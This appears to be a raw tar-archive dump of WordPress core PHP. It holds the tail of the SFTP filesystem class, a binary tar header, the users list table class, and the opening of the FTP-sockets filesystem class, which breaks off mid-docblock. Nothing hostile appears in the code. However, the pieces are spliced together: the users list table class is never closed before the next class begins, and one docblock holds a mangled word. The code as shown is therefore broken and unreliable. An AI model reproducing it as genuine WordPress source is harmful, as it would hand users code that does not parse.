	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

$content = $this->get_contents( $source );

if ( false === $content ) {
			return false;
		}

return $this->put_contents( $destination, $content, $mode );
	}

/**
	 * Moves a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		if ( $this->exists( $destination ) ) {
			if ( $overwrite ) {
				// We need to remove the destination file before we can rename the source.
				$this->delete( $destination, false, 'f' );
			} else {
				// If we're not overwriting, the rename will fail, so return early.
				return false;
			}
		}

return ssh2_sftp_rename( $this->sftp_link, $source, $destination );
	}

/**
	 * Deletes a file or directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( 'f' === $type || $this->is_file( $file ) ) {
			return ssh2_sftp_unlink( $this->sftp_link, $file );
		}

if ( ! $recursive ) {
			return ssh2_sftp_rmdir( $this->sftp_link, $file );
		}

$filelist = $this->dirlist( $file );

if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				$this->delete( $file . '/' . $filename, $recursive, $fileinfo['type'] );
			}
		}

return ssh2_sftp_rmdir( $this->sftp_link, $file );
	}

/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file or directory.
	 * @return bool Whether $file exists or not.
	 */
	public function exists( $file ) {
		return file_exists( $this->sftp_path( $file ) );
	}

/**
	 * Checks if resource is a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return is_file( $this->sftp_path( $file ) );
	}

/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return is_dir( $this->sftp_path( $path ) );
	}

/**
	 * Checks if a file is readable.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return is_readable( $this->sftp_path( $file ) );
	}

/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file or directory.
	 * @return bool Whether $file is writable.
	 */
	public function is_writable( $file ) {
		// PHP will base its writable checks on system_user === file_owner, not ssh_user === file_owner.
		return true;
	}

/**
	 * Gets the file's last access time.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return fileatime( $this->sftp_path( $file ) );
	}

/**
	 * Gets the file modification time.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return filemtime( $this->sftp_path( $file ) );
	}

/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return filesize( $this->sftp_path( $file ) );
	}

/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: Not implemented.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		// Not implemented.
	}

/**
	 * Creates a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $path  Path for new directory.
	 * @param int|false  $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                          Default false.
	 * @param string|int $chown Optional. A user name or number (or false to skip chown).
	 *                          Default false.
	 * @param string|int $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

if ( empty( $path ) ) {
			return false;
		}

if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

if ( ! ssh2_sftp_mkdir( $this->sftp_link, $path, $chmod, true ) ) {
			return false;
		}

// Set directory permissions.
		ssh2_sftp_chmod( $this->sftp_link, $path, $chmod );

if ( $chown ) {
			$this->chown( $path, $chown );
		}

if ( $chgrp ) {
			$this->chgrp( $path, $chgrp );
		}

return true;
	}

/**
	 * Deletes a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of files. False if unable to list directory contents.
	 *
	 *     @type string $name        Name of the file or directory.
	 *     @type string $perms       *nix representation of permissions.
	 *     @type int    $permsn      Octal representation of permissions.
	 *     @type string $owner       Owner name or ID.
	 *     @type int    $size        Size of file in bytes.
	 *     @type int    $lastmodunix Last modified unix timestamp.
	 *     @type mixed  $lastmod     Last modified month (3 letter) and day (without leading 0).
	 *     @type int    $time        Last modified time.
	 *     @type string $type        Type of resource. 'f' for file, 'd' for directory.
	 *     @type mixed  $files       If a directory and $recursive is true, contains another array of files.
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path );
		} else {
			$limit_file = false;
		}

if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) {
			return false;
		}

$ret = array();
		$dir = dir( $this->sftp_path( $path ) );

if ( ! $dir ) {
			return false;
		}

while ( false !== ( $entry = $dir->read() ) ) {
			$struc         = array();
			$struc['name'] = $entry;

if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue; // Do not care about these folders.
			}

if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

if ( $limit_file && $struc['name'] != $limit_file ) {
				continue;
			}

$struc['perms']       = $this->gethchmod( $path . '/' . $entry );
			$struc['permsn']      = $this->getnumchmodfromh( $struc['perms'] );
			$struc['number']      = false;
			$struc['owner']       = $this->owner( $path . '/' . $entry );
			$struc['group']       = $this->group( $path . '/' . $entry );
			$struc['size']        = $this->size( $path . '/' . $entry );
			$struc['lastmodunix'] = $this->mtime( $path . '/' . $entry );
			$struc['lastmod']     = gmdate( 'M j', $struc['lastmodunix'] );
			$struc['time']        = gmdate( 'h:i:s', $struc['lastmodunix'] );
			$struc['type']        = $this->is_dir( $path . '/' . $entry ) ? 'd' : 'f';

if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . '/' . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

$ret[ $struc['name'] ] = $struc;
		}

$dir->close();
		unset( $dir );

return $ret;
	}
}
������������������������������������������������class-wp-users-list-table.php�����������������������������������������������������������������������0000604�����������������00000042553�15075125354�0012217 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Users_List_Table extends WP_List_Table {

/**
	 * Site ID to generate the Users list table for.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	public $site_id;

/**
	 * Whether or not the current Users list table is for Multisite.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	public $is_site_users;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'singular' => 'user',
				'plural'   => 'users',
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

$this->is_site_users = 'site-users-network' === $this->screen->id;

if ( $this->is_site_users ) {
			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
		}
	}

/**
	 * Check the current user's permissions.
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_users ) {
			return current_user_can( 'manage_sites' );
		} else {
			return current_user_can( 'list_users' );
		}
	}

/**
	 * Prepare the users list for display.
	 *
	 * @since 3.1.0
	 *
	 * @global string $role
	 * @global string $usersearch
	 */
	public function prepare_items() {
		global $role, $usersearch;

$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

$per_page       = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
		$users_per_page = $this->get_items_per_page( $per_page );

$paged = $this->get_pagenum();

if ( 'none' === $role ) {
			$args = array(
				'number'  => $users_per_page,
				'offset'  => ( $paged - 1 ) * $users_per_page,
				'include' => wp_get_users_with_no_role( $this->site_id ),
				'search'  => $usersearch,
				'fields'  => 'all_with_meta',
			);
		} else {
			$args = array(
				'number' => $users_per_page,
				'offset' => ( $paged - 1 ) * $users_per_page,
				'role'   => $role,
				'search' => $usersearch,
				'fields' => 'all_with_meta',
			);
		}

if ( '' !== $args['search'] ) {
			$args['search'] = '*' . $args['search'] . '*';
		}

if ( $this->is_site_users ) {
			$args['blog_id'] = $this->site_id;
		}

if ( isset( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = $_REQUEST['orderby'];
		}

if ( isset( $_REQUEST['order'] ) ) {
			$args['order'] = $_REQUEST['order'];
		}

/**
		 * Filters the query arguments used to retrieve users for the current users list table.
		 *
		 * @since 4.4.0
		 *
		 * @param array $args Arguments passed to WP_User_Query to retrieve items for the current
		 *                    users list table.
		 */
		$args = apply_filters( 'users_list_table_query_args', $args );

// Query the user IDs for this page.
		$wp_user_search = new WP_User_Query( $args );

$this->items = $wp_user_search->get_results();

$this->set_pagination_args(
			array(
				'total_items' => $wp_user_search->get_total(),
				'per_page'    => $users_per_page,
			)
		);
	}

/**
	 * Output 'no users' message.
	 *
	 * @since 3.1.0
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

/**
	 * Return an associative array listing all the views that can be used
	 * with this table.
	 *
	 * Provides a list of roles and user count for that role for easy
	 * Filtersing of the user table.
	 *
	 * @since 3.1.0
	 *
	 * @global string $role
	 *
	 * @return string[] An array of HTML links keyed by their view.
	 */
	protected function get_views() {
		global $role;

$wp_roles = wp_roles();

if ( $this->is_site_users ) {
			$url = 'site-users.php?id=' . $this->site_id;
			switch_to_blog( $this->site_id );
			$users_of_blog = count_users( 'time', $this->site_id );
			restore_current_blog();
		} else {
			$url           = 'users.php';
			$users_of_blog = count_users();
		}

$total_users = $users_of_blog['total_users'];
		$avail_roles =& $users_of_blog['avail_roles'];
		unset( $users_of_blog );

$current_link_attributes = empty( $role ) ? ' class="current" aria-current="page"' : '';

$role_links        = array();
		$role_links['all'] = sprintf(
			'<a href="%s"%s>%s</a>',
			$url,
			$current_link_attributes,
			sprintf(
				/* translators: %s: Number of users. */
				_nx(
					'All <span class="count">(%s)</span>',
					'All <span class="count">(%s)</span>',
					$total_users,
					'users'
				),
				number_format_i18n( $total_users )
			)
		);

foreach ( $wp_roles->get_names() as $this_role => $name ) {
			if ( ! isset( $avail_roles[ $this_role ] ) ) {
				continue;
			}

$current_link_attributes = '';

if ( $this_role === $role ) {
				$current_link_attributes = ' class="current" aria-current="page"';
			}

$name = translate_user_role( $name );
			$name = sprintf(
				/* translators: 1: User role name, 2: Number of users. */
				__( '%1$s <span class="count">(%2$s)</span>' ),
				$name,
				number_format_i18n( $avail_roles[ $this_role ] )
			);

$role_links[ $this_role ] = "<a href='" . esc_url( add_query_arg( 'role', $this_role, $url ) ) . "'$current_link_attributes>$name</a>";
		}

if ( ! empty( $avail_roles['none'] ) ) {

$current_link_attributes = '';

if ( 'none' === $role ) {
				$current_link_attributes = ' class="current" aria-current="page"';
			}

$name = __( 'No role' );
			$name = sprintf(
				/* translators: 1: User role name, 2: Number of users. */
				__( '%1$s <span class="count">(%2$s)</span>' ),
				$name,
				number_format_i18n( $avail_roles['none'] )
			);

$role_links['none'] = "<a href='" . esc_url( add_query_arg( 'role', 'none', $url ) ) . "'$current_link_attributes>$name</a>";
		}

return $role_links;
	}

/**
	 * Retrieve an associative array of bulk actions available on this table.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of bulk action labels keyed by their action.
	 */
	protected function get_bulk_actions() {
		$actions = array();

if ( is_multisite() ) {
			if ( current_user_can( 'remove_users' ) ) {
				$actions['remove'] = __( 'Remove' );
			}
		} else {
			if ( current_user_can( 'delete_users' ) ) {
				$actions['delete'] = __( 'Delete' );
			}
		}

return $actions;
	}

/**
	 * Output the controls to allow user roles to be changed in bulk.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which Whether this is being invoked above ("top")
	 *                      or below the table ("bottom").
	 */
	protected function extra_tablenav( $which ) {
		$id        = 'bottom' === $which ? 'new_role2' : 'new_role';
		$button_id = 'bottom' === $which ? 'changeit2' : 'changeit';
		?>
	<div class="alignleft actions">
		<?php if ( current_user_can( 'promote_users' ) && $this->has_items() ) : ?>
		<label class="screen-reader-text" for="<?php echo $id; ?>"><?php _e( 'Change role to&hellip;' ); ?></label>
		<select name="<?php echo $id; ?>" id="<?php echo $id; ?>">
			<option value=""><?php _e( 'Change role to&hellip;' ); ?></option>
			<?php wp_dropdown_roles(); ?>
		</select>
			<?php
			submit_button( __( 'Change' ), '', $button_id, false );
		endif;

/**
		 * Fires just before the closing div containing the bulk role-change controls
		 * in the Users list table.
		 *
		 * @since 3.5.0
		 * @since 4.6.0 The `$which` parameter was added.
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'restrict_manage_users', $which );
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the users
		 * list table.
		 *
		 * @since 4.9.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_users_extra_tablenav', $which );
	}

/**
	 * Capture the bulk action required, and return it.
	 *
	 * Overridden from the base class implementation to capture
	 * the role change drop-down.
	 *
	 * @since 3.1.0
	 *
	 * @return string The bulk action required.
	 */
	public function current_action() {
		if ( ( isset( $_REQUEST['changeit'] ) || isset( $_REQUEST['changeit2'] ) ) &&
			( ! empty( $_REQUEST['new_role'] ) || ! empty( $_REQUEST['new_role2'] ) ) ) {
			return 'promote';
		}

return parent::current_action();
	}

/**
	 * Get a list of columns for the list table.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$c = array(
			'cb'       => '<input type="checkbox" />',
			'username' => __( 'Username' ),
			'name'     => __( 'Name' ),
			'email'    => __( 'Email' ),
			'role'     => __( 'Role' ),
			'posts'    => __( 'Posts' ),
		);

if ( $this->is_site_users ) {
			unset( $c['posts'] );
		}

return $c;
	}

/**
	 * Get a list of sortable columns for the list table.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of sortable columns.
	 */
	protected function get_sortable_columns() {
		$c = array(
			'username' => 'login',
			'email'    => 'email',
		);

return $c;
	}

/**
	 * Generate the list table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		// Query the post counts for this page.
		if ( ! $this->is_site_users ) {
			$post_counts = count_many_users_posts( array_keys( $this->items ) );
		}

foreach ( $this->items as $userid => $user_object ) {
			echo "\n\t" . $this->single_row( $user_object, '', '', isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
		}
	}

/**
	 * Generate HTML for a single row on the users.php admin panel.
	 *
	 * @since 3.1.0
	 * @since 4.2.0 The `$style` parameter was deprecated.
	 * @since 4.4.0 The `$role` parameter was deprecated.
	 *
	 * @param WP_User $user_object The current user object.
	 * @param string  $style       Deprecated. Not used.
	 * @param string  $role        Deprecated. Not used.
	 * @param int     $numposts    Optional. Post count to display for this user. Defaults
	 *                             to zero, as in, a new user has made zero posts.
	 * @return string Output for a single row.
	 */
	public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
		if ( ! ( $user_object instanceof WP_User ) ) {
			$user_object = get_userdata( (int) $user_object );
		}
		$user_object->filter = 'display';
		$email               = $user_object->user_email;

if ( $this->is_site_users ) {
			$url = "site-users.php?id={$this->site_id}&amp;";
		} else {
			$url = 'users.php?';
		}

$user_roles = $this->get_role_list( $user_object );

// Set up the hover actions for this user.
		$actions     = array();
		$checkbox    = '';
		$super_admin = '';

if ( is_multisite() && current_user_can( 'manage_network_users' ) ) {
			if ( in_array( $user_object->user_login, get_super_admins(), true ) ) {
				$super_admin = ' &mdash; ' . __( 'Super Admin' );
			}
		}

// Check if the user for this row is editable.
		if ( current_user_can( 'list_users' ) ) {
			// Set up the user editing link.
			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_object->ID ) ) );

if ( current_user_can( 'edit_user', $user_object->ID ) ) {
				$edit            = "<strong><a href=\"{$edit_link}\">{$user_object->user_login}</a>{$super_admin}</strong><br />";
				$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
			} else {
				$edit = "<strong>{$user_object->user_login}{$super_admin}</strong><br />";
			}

if ( ! is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'delete_user', $user_object->ID ) ) {
				$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . '</a>';
			}
			if ( is_multisite() && current_user_can( 'remove_user', $user_object->ID ) ) {
				$actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url . "action=remove&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . '</a>';
			}

// Add a link to the user's author archive, if not empty.
			$author_posts_url = get_author_posts_url( $user_object->ID );
			if ( $author_posts_url ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					esc_url( $author_posts_url ),
					/* translators: %s: Author's display name. */
					esc_attr( sprintf( __( 'View posts by %s' ), $user_object->display_name ) ),
					__( 'View' )
				);
			}

/**
			 * Filters the action links displayed under each user in the Users list table.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions     An array of action links to be displayed.
			 *                              Default 'Edit', 'Delete' for single site, and
			 *                              'Edit', 'Remove' for Multisite.
			 * @param WP_User  $user_object WP_User object for the currently listed user.
			 */
			$actions = apply_filters( 'user_row_actions', $actions, $user_object );

// Role classes.
			$role_classes = esc_attr( implode( ' ', array_keys( $user_roles ) ) );

// Set up the checkbox (because the user is editable, otherwise it's empty).
			$checkbox = sprintf(
				'<label class="screen-reader-text" for="user_%1$s">%2$s</label>' .
				'<input type="checkbox" name="users[]" id="user_%1$s" class="%3$s" value="%1$s" />',
				$user_object->ID,
				/* translators: %s: User login. */
				sprintf( __( 'Select %s' ), $user_object->user_login ),
				$role_classes
			);

} else {
			$edit = "<strong>{$user_object->user_login}{$super_admin}</strong>";
		}

$avatar = get_avatar( $user_object->ID, 32 );

// Comma-separated list of user roles.
		$roles_list = implode( ', ', $user_roles );

$r = "<tr id='user-$user_object->ID'>";

list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			$classes = "$column_name column-$column_name";
			if ( $primary === $column_name ) {
				$classes .= ' has-row-actions column-primary';
			}
			if ( 'posts' === $column_name ) {
				$classes .= ' num'; // Special case for that column.
			}

if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

$data = 'data-colname="' . wp_strip_all_tags( $column_display_name ) . '"';

$attributes = "class='$classes' $data";

if ( 'cb' === $column_name ) {
				$r .= "<th scope='row' class='check-column'>$checkbox</th>";
			} else {
				$r .= "<td $attributes>";
				switch ( $column_name ) {
					case 'username':
						$r .= "$avatar $edit";
						break;
					case 'name':
						if ( $user_object->first_name && $user_object->last_name ) {
							$r .= "$user_object->first_name $user_object->last_name";
						} elseif ( $user_object->first_name ) {
							$r .= $user_object->first_name;
						} elseif ( $user_object->last_name ) {
							$r .= $user_object->last_name;
						} else {
							$r .= sprintf(
								'<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">%s</span>',
								_x( 'Unknown', 'name' )
							);
						}
						break;
					case 'email':
						$r .= "<a href='" . esc_url( "mailto:$email" ) . "'>$email</a>";
						break;
					case 'role':
						$r .= esc_html( $roles_list );
						break;
					case 'posts':
						if ( $numposts > 0 ) {
							$r .= sprintf(
								'<a href="%s" class="edit"><span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
								"edit.php?author={$user_object->ID}",
								$numposts,
								sprintf(
									/* translators: %s: Number of posts. */
									_n( '%s post by this author', '%s posts by this author', $numposts ),
									number_format_i18n( $numposts )
								)
							);
						} else {
							$r .= 0;
						}
						break;
					default:
						/**
						 * Filters the display output of custom columns in the Users list table.
						 *
						 * @since 2.8.0
						 *
						 * @param string $output      Custom column output. Default empty.
						 * @param string $column_name Column name.
						 * @param int    $user_id     ID of the currently-listed user.
						 */
						$r .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID );
				}

if ( $primary === $column_name ) {
					$r .= $this->row_actions( $actions );
				}
				$r .= '</td>';
			}
		}
		$r .= '</tr>';

return $r;
	}

/**
	 * Returns an array of user roles for a given user object.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user_object The WP_User object.
	 * @return string[] An array of user roles.
	 */
	protected function get_role_list( $user_object ) {
		$wp_roles = wp_roles();

$role_list = array();

foreach ( $user_object->roles as $role ) {
			if ( isset( $wp_roles->role_names[ $role ] ) ) {
				$role_list[ $role ] = translate_user_role( $wp_roles->role_names[ $role ] );
			}
		}

if ( empty( $role_list ) ) {
			$role_list['none'] = _x( 'None', 'no user roles' );
		}

/**
		 * Filters the returned array of roles for a user.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $role_list   An array of user roles.
		 * @param WP_User  $user_object A WP_User object.
		 */
		return apply_filters( 'get_role_list', $role_list, $user_object );
	}

/**
 * WordPress Filesystem Class for implementing FTP Sockets.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {

/**
	 * @since 2.5.0
	 * @var ftp
	 */
	public $ftp;

/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ftpsockets';
		$this->errors = new WP_Error();

// Check if possible to use ftp functions.
		if ( ! include_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) {
			return;
		}

$this->ftp = new ftp();

if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 21;
		} else {
			$this->options['port'] = (int) $opt['port'];
		}

if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

// Check if the options provided are OK.
		if ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'FTP username is required' ) );
		} else {
			$this->options['username'] = $opt['username'];
		}

if ( empty( $opt['password'] ) ) {
			$this->errors->add( 'empty_password', __( 'FTP password is required' ) );
		} else {
			$this->options['password'] = $opt['password'];
		}
	}

/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( ! $this->ftp ) {
			return false;
		}

$this->ftp->setTimeout( FS_CONNECT_TIMEOUT );

if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

return false;
		}

if ( ! $this->ftp->connect() ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

return false;
		}

if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add(
				'auth',
				sprintf(
					/* translators: %s: Username. */
					__( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);

return false;
		}

$this->ftp->SetType( FTP_BINARY );
		$this->ftp->Passive( true );
		$this->ftp->setTimeout( FS_TIMEOUT );

return true;
	}

/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'w+' );

if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

mbstring_binary_safe_encoding();

if ( ! $this->ftp->fget( $temphandle, $file ) ) {
			fclose( $temphandle );
			unlink( $tempfile );

reset_mbstring_encoding();

return ''; // Blank document. File does exist, it's just blank.
		}

reset_mbstring_encoding();

fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.
		$contents = '';

while ( ! feof( $temphandle ) ) {
			$contents .= fread( $temphandle, 8 * KB_IN_BYTES );
		}

fclose( $temphandle );
		unlink( $tempfile );

return $contents;
	}

/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return explode( "\n", $this->get_contents( $file ) );
	}

/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = @fopen( $tempfile, 'w+' );

if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

// The FTP class uses string functions internally during file download/upload.
		mbstring_binary_safe_encoding();

$bytes_written = fwrite( $temphandle, $contents );

if ( false === $bytes_written || strlen( $contents ) != $bytes_written ) {
			fclose( $temphandle );
			unlink( $tempfile );

reset_mbstring_encoding();

return false;
		}

fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.

$ret = $this->ftp->fput( $file, $temphandle );

reset_mbstring_encoding();

fclose( $temphandle );
		unlink( $tempfile );

$this->chmod( $file, $mode );

return $ret;
	}

/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = $this->ftp->pwd();

if ( $cwd ) {
			$cwd = trailingslashit( $cwd );
		}

return $cwd;
	}

/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return $this->ftp->chdir( $dir );
	}

/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir( $file ) ) {
			$filelist = $this->dirlist( $file );

foreach ( (array) $filelist as $filename => $filemeta ) {
				$this->chmod( $file . '/' . $filename, $mode, $recursive );
			}
		}

// chmod the file or directory.
		return $this->ftp->chmod( $file, $mode );
	}

/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$dir = $this->dirlist( $file );

return $dir[ $file ]['owner'];
	}

/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		$dir = $this->dirlist( $file );

return $dir[ $file ]['permsn'];
	}

/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$dir = $this->dirlist( $file );

return $dir[ $file ]['group'];
	}

/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
